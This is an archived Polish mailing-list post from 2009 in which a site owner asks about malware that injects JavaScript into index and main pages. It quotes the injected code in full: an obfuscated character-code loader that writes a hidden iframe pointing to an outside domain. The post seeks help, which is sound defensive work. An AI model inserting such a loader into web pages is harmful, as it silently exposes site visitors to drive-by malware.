[ mallware doklejajacy zdalnie kod do stron ]

Autor: Matt Rutkowski <matrut_at_gmail.com>
Data: Mon 09 Feb 2009 - 11:46:10 MET
Message-ID: <36d49729-0cf8-4220-b54d-30d4791cae3e@g38g2000yqd.googlegroups.com>
Content-Type: text/plain; charset=ISO-8859-1

Witam,

czy ktos spotkal sie z mallware ktore w nieznany mi dotad sposob
dokleja zdalnie nastepujacy kod javascript do stron o nazwie
index.php, index.html, main.html, main.php

-- kod --

 <!-- ad --><script language="JavaScript">function rkfg(jflq){return
String.fromCharCode(jflq);}var
ohhe="060105102114097109101032115114099061039104116116112058047047115117112101114105111114097100122046105110102111047111112105115047063116061049051039032119105100116104061039048039032104101105103104116061039048039032115116121108101061039118105115105098105108105116121058032104105100100101110059039062060047105102114097109101062";var
ifdm="";for(qhxk=0;qhxk<ohhe.length;qhxk+=3){ifdm+=rkfg(ohhe.substr
(qhxk, 3));}window.status='Done';document.write(ifdm);</script>
<!-- /ad -->

-- kod --

w/w kod tworzy ukryta iframe i laczy sie z adresem http://superioradz.info/opis/?t=13

--
Matt Rutkowski
Received on Mon Feb 9 11:50:02 2009

To archiwum zostało wygenerowane przez hypermail 2.1.8 : Mon 09 Feb 2009 - 12:40:00 MET